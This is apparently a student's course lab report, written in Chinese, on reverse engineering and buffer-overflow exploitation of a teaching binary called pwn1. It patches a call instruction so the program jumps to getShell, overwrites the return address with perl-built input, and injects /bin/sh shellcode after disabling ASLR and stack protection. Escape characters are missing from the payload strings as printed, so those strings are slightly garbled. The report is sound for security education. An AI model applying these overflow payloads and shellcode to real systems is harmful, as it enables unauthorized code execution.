2019-2020-2 20174319安睿韬《网络对抗技术》Exp1 PC平台逆向破解

目录


    1.实验目标
      • 本次实践的对象是一个名为pwn1(为了区别改名为“20174319_1”和“20174319a”)的linux可执行文件。
      • 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
      • 该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下个代码是不会被运行的。我们实践的目标就是想办法运行这个本不会被运行的代码片段。

                     返回目录


       2.实验需要

      2.1 基础知识

      • 熟悉Linux基本操作;
      • 看懂常用指令,如管道(|),输入、输出重定向(>)等;
      • 理解Bof的原理;
      • 看得懂汇编、机器指令、EIP、指令地址;
      • 会使用gdb,vi;
      • 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码;

1.NOP指令:“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。

2.JNE指令:条件转移指令(等同于“Jump Not Equal”),如果不相等则跳转。

2.JE指令:条件转移指令,如果相等则跳转。

4.JMP指令:无条件跳转指令。无条件跳转指令可转到内存中任何程序段。转移地址可在指令中给出,也可以在寄存器中给出,或在存储器中指出。

5.CMP指令:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。

6.各指令机器码

        • NOP机器码 90
        • JNE机器码 75
        • JE机器码 74
        • JMP rel8相对短跳转,机器码 EB
        • JMP rel16相对跳转,机器码 E9
        • JMP r/m16绝对跳转,机器码 FF
        • JMP r/m32绝对跳转,机器码 FF
        • JMP ptr1 6:16远距离绝对跳转,机器码 EA
        • JMP ptr1 6:32远距离绝对跳转,机器码 EA
        • JMP m16:16远距离绝对跳转,机器码 FF
        • JMP m16:32远距离绝对跳转,机器码 FF
      • 掌握反汇编与十六进制编程器

      • 反汇编指令 objdump -d (文件名)| more

        •  objdump -d将代码段反汇编
        •  -d 英文全称是disassembling,意为反汇编
        •  |管道符,命令A|命令B,即命令A的正确输出作为命令B的操作对象
        •  more使文件以一页一页的形式显示,更方便使用者逐页阅读。
      • 十六进制编程器

      • 进入vim编辑器后按esc后输入:%!xxd将显示模式切换为16进制模式
      • 编辑完成后按esc后输入:%!xxd -r将转换16进制为原格式

                            返回目录

               2.2  文件需要

      • 下载实验指导书附件里的pwn1文件,因之前已配置好,可直接将主机里的文件拖入虚拟机里,本次实验分别改名为“20174319_1”和“20174319a“。

                              返回目录


    3.实验内容

3.1 直接修改程序机器指令,改变程序执行流程

    • 知识要求:Call指令,EIP寄存器,指令跳转的偏移计算,补码,反汇编指令objdump,十六进制编辑工具
    • 学习目标:理解可执行文件与机器指令
    • 进阶:掌握ELF文件格式,掌握动态技术
    • 步骤:

1.下载目标文件pwn1

        • 用 objdump -d 20174319_1| more反汇编并分页显示,敲击enterr键,可以找到main函数。

 

        • 图中,main函数第4行(内存地址"80484b5")跳转到了"foo"函数(内存地址"8048491"),接下来的实验中用到的getShell函数的内存地址为"804847d"。其中 e8有跳转的功能,后面的数值 d7ffffff是补码,十进制表示"-41","41"转换成16进制0x29。计算"80484ba +d7ffffff = 80484ba-0x29 = 8048491"。下一步对可执行文件进行修改,在main函数中第4条指令跳转到"getShell"函数。修改可执行文件"d7ffffff"为"804847d-80484ba"对应的补码"c3ffffff"。

2. 修改机器指令

        • 用vim指令 vi 20174319_1编辑该文件。

        • 显示了一堆乱码。
        • 敲Esc键,在当前状态下允许用户输入命令。输入指令 :%!xxd转换成16进制看得清楚。
        • 转换以后,输入 /e8 d7 定位命令位置。

                   

          •  敲enter键可以定位 ,敲 i 键进入编辑模式将d7替换为c3,然后转回原格式,命令为 :%!xxd -r
          •  敲esc键,再敲:wq保存退出。ps:一定要转回原格式,否则会导致程序无法执行。

3. 查看文件

          •  在图中,可以看到call后面的"foo"已经变为"getShell",修改成功。

          • 分别执行修改前后的文件,成功执行。

                                          返回目录


3.2 通过构造输入参数,造成BOF攻击,改变程序执行流

    • 知识要求:堆栈结构,返回地址
    • 学习目标:理解攻击缓冲区的结果,掌握返回地址的获取
    • 进阶:掌握ELF文件格式,掌握动态技术
    • 步骤:

                  1.文件制作

          • 首先先将pwn1重名为20174319a并且复制到 /home/kali文件夹以便实验室用

          • 对文件进行反汇编 gdb 20174319a| more,得到"getShell"函数地址"0804847d"。

          • 系统只预留了28字节的缓冲区给读入字符串,超出部分会造成溢出,我们需要做的是覆盖返回地址。

          • main函数中的调用foo,在堆栈上压上返回地址值为"80484ba"。
          • 本次要攻击的是foo函数,该函数没有输入字符的限制和边界检测;所以输入过多的字符可能就会溢出,写进返回地址。
          • 即可利用BOF(buffer overflow 缓冲区溢出攻击)技术利用设计好的字符串,让其溢出的部分改变部分内容。
          • 本实验中要更改的是在函数返回时改变返回程序的地址,让其跳转到我们指定的地址,执行目标函数。

      2. 确认输入字符串哪几个字符会如何覆盖到返回地址

          • 使用gdb 20174319a,进入调试界面,输入 r以后可以输入代码,开始确认输入多少字符串后会覆盖到程序的返回地址。先试着输入一个比较长的字符串, 1111111122222222333333334444444455555555

      • 再次使用 info r查看当前寄存器的数据,发现EIP寄存器(用于存放下一条指令的内存地址的寄存器)被"0x35353535"覆盖了,这就表示了当前返回地址是四个‘5’,而EBP被0x34343434字段覆盖掉了,因此说明缓冲区大小为28字节(输入的的数据共有40个字节,4字节的‘4’覆盖ebp,同时4字节的‘5’覆盖了eip。可以推测出buffer里面存有28字节)。再做一次尝试,查看覆盖的顺序和方式。

      • 再次调试,这次输入字符串 1111111122222222333333334444444412345678

                                                                 

          • 发现"1234"会覆盖EIP寄存器,而且是从右到左的方式。

          3.确认用什么值来覆盖返回地址

          • 寄存器显示时是按照16进制从高位向低位显示,需要从右至左每两个数字一个单位的读取。接下来的操作会使这块区域变成我们需要的内容(x7dx84x04x08)即可实现跳转到getShell处执行代码,所以我们需要输入的是 11111111222222223333333344444444x7dx84x04x08   

          4.构造输入代码

          • 由于要改写的字符串"x7dx84x04x08"的ASCII值里面有无法从键盘读入的字符,这时候需要借助令Perl语言来代替我们生成这样符合要求的字符串重定向输出到input文件中,x0a表示回车,如果没有的话,在程序运行时需要按一下回车键。
          • 输入"perl -e 'print "11111111222222223333333344444444x7dx84x04x08x0a"' > input" 。  
          • 可以使用16进制查看指令xxd
          • 然后将input文件作为文件的输入。指令为: (cat input; cat) | ./20174319a

          • 可以执行,成功修改。     

                                返回目录 


3.3 注入Shellcode并执行

1. 准备一段Shellcode

          • shellcode就是一段机器指令(code),通常这段机器指令的目的是为获取一个交互式的shell,所以这段机器指令被称为shellcode。在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。
          • 本次实验中我们准备好了一段shellcode。
x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80

                        2. 实验设置

        • 实验前,要进行系列设置。
          • execstack -s 20174319a //设置堆栈可执行
          • execstack -q 20174319a    //查询文件的堆栈是否可执行
          • X 20174319a
          • more /proc/sys/kernel/randomize_va_space //查看内存地址随机化的参数
          • echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
          • more /proc/sys/kernel/randomize_va_space

        • 输入apt-get install prelink 可以使用设置堆栈的命令。

3. 构造要使用的payload

        • Linux下有两种基本构造攻击buf的方法:因为retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。
        1. retaddr+nop+shellcode
        2. nop+shellcode+retaddr
        • 简单说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边。
        • 在看完老师的实验指导书之后发现nop+shellcode+retaddr这种方式有些问题。因此选取了anything+retaddr+nops+shellcode这种方式构造攻击代码。
        • 首先利用十六进制编辑指令perl构造一个字符串,写入到input_shellcode文件中用作文件执行时的输入。在这段字符串中,末尾的x4x3x2x1会覆盖到堆栈上的返回地址。
        • 注意最后一个字符不要设置成x0a,否则会影响后来的操作。
perl -e 'print "x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x4x3x2x1x00"' > input_shellcode
        • 接着在终端中注入这一段攻击buf (cat input_shellcode;cat) | ./20174319a

        • 输入后,敲一个回车后要动,马上打开一个新的终端。
        • 在新的终端查看程序进程,输入代码 ps -ef | grep 20174319a得到进程号2499。
        • 输入gdb 20174319a进入调试界面,然后输入attach 2499

        • 接下来输入指令disassemble foo,对foo函数进行反汇编。
        • 然后设置断点,来查看注入buf的内存地址,指令break *0x080484ae
        • 之后要回到刚开始的终端手动回车一下,然后回到调试的终端,输入指令 c 继续。
        • 接下来输入指令info r esp,查看栈顶指针所在的位置,并查看改地址存放的数据。
        • x4x3x2x1出现在栈顶,这是返回地址的位置。
        • shellcode在旁边,计算地址:0xffffd6dc+4=0xffffd6e0。

        • 修改攻击代码,将最终地址加进去
perl -e 'print "A" x 32;print "xe0xd6xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode
        • 并将其输入到程序,指令为 (cat input_shellcode;cat) | ./20174319a

        • 程序执行成功,实验完成

                            返回目录


  4. 实验感想和收获

    这是我第一次在虚拟机上做这么复杂的实验,从开始安装linux系统开始,就遇到了各种令人费解的问题,好在博客园里有很多热心的同学已经分享了操作流程和各类解决问题的方法,我才能克服困难,一步步向前进发,本次实验主要内容是缓冲区溢出攻击,这种攻击方法是计算机安全领域内既经典而又古老的话题,那么所谓缓冲区可以更抽象地理解为一段可读写的内存区域,缓冲区攻击的最终目的就是希望系统能执行这块可读写内存中已经被设定好的恶意代码,也是利用了冯·诺依曼存储程序原理展开的。这次实验我做了很多遍,第一次做的时候,很多知识都没法理解,只是跟着实验指导盲目地输入代码,对很多假设和数据尝试都没有亲自去计算去思考,也不奇怪第一次实验以失败告终,第二次实验是在教学视频的指导下进行的,我做得很慢,没到一个涉及到内存地址和数据设计的关卡时,我都会停下来,拿出笔纸进行计算,再加上老师讲的很细致,将操作和思考方式融会贯通,很多地方都让我醍醐灌顶,思路瞬间清晰,实验终于成功完成。为了考察自己是否真的理解,我便开始了第三次实验,过程非常流畅。做完了以后才发现实验其实很简单,实验操作是其次的,重要的是思想,是分析问题、找到问题并努力突破的思维方式和能力。通过实验我们还能学到课程相关的知识,并且能够更加深刻的理解它们的机制,比如各类寄存器的作用,EIP寄存器里存储的是CPU下次要执行的指令的地址,EBP寄存器里存储的是是栈的栈底指针,通常叫栈基址,ESP寄存器里存储的是在调用函数fun()之后,栈的栈顶。这些也都在实验室中体现的淋漓尽致。

   实验学习是探索知识的实践过程,我们要善于捕捉知识和思想,这样学习才能高效,通过本次实验,可以看到自己还是很浮躁,有点急功近利,希望在以后的学习中,能够更好的鞭策自己,让自己能够静下心来,高效完成实验。

       返回目录 


   5. 问题思考              

      • 什么是漏洞?漏洞有什么危害?

   漏洞是硬件软件协议的具体实现或系统安全策略上存在的缺陷,从而可以使攻击者能够在未授权的情况下访问或破坏系统。在计算机安全性中,漏洞可以理解为一个弱点,能被威胁,如黑客攻击者利用在计算机系统中执行未经授权的操作。

   漏洞的危害:从计算机外部写入到缓冲区,可以使攻击者覆盖邻近内存块的内容,从而导致数据遭到破坏、程序崩溃,甚至可以执行任何恶意代码。小到个人pc,大到国家安全系统计算机,漏洞带来的危害可以是毁灭性的。

          返回目录


 6. 参考资料

    1. Exp1 PC平台逆向破解实验指导 https://gitee.com/wildlinux/NetSec/blob/master/ExpGuides/0x11_MAL_%E9%80%86%E5%90%91%E4%B8%8EBof%E5%9F%BA%E7%A1%80.md
    2.  2018-2019 20165226 网络对抗 Exp1 PC平台逆向破解 https://www.bbsmax.com/A/kmzLyO8AJG/

                              返回目录


原文地址:https://www.cnblogs.com/art23/p/12467664.html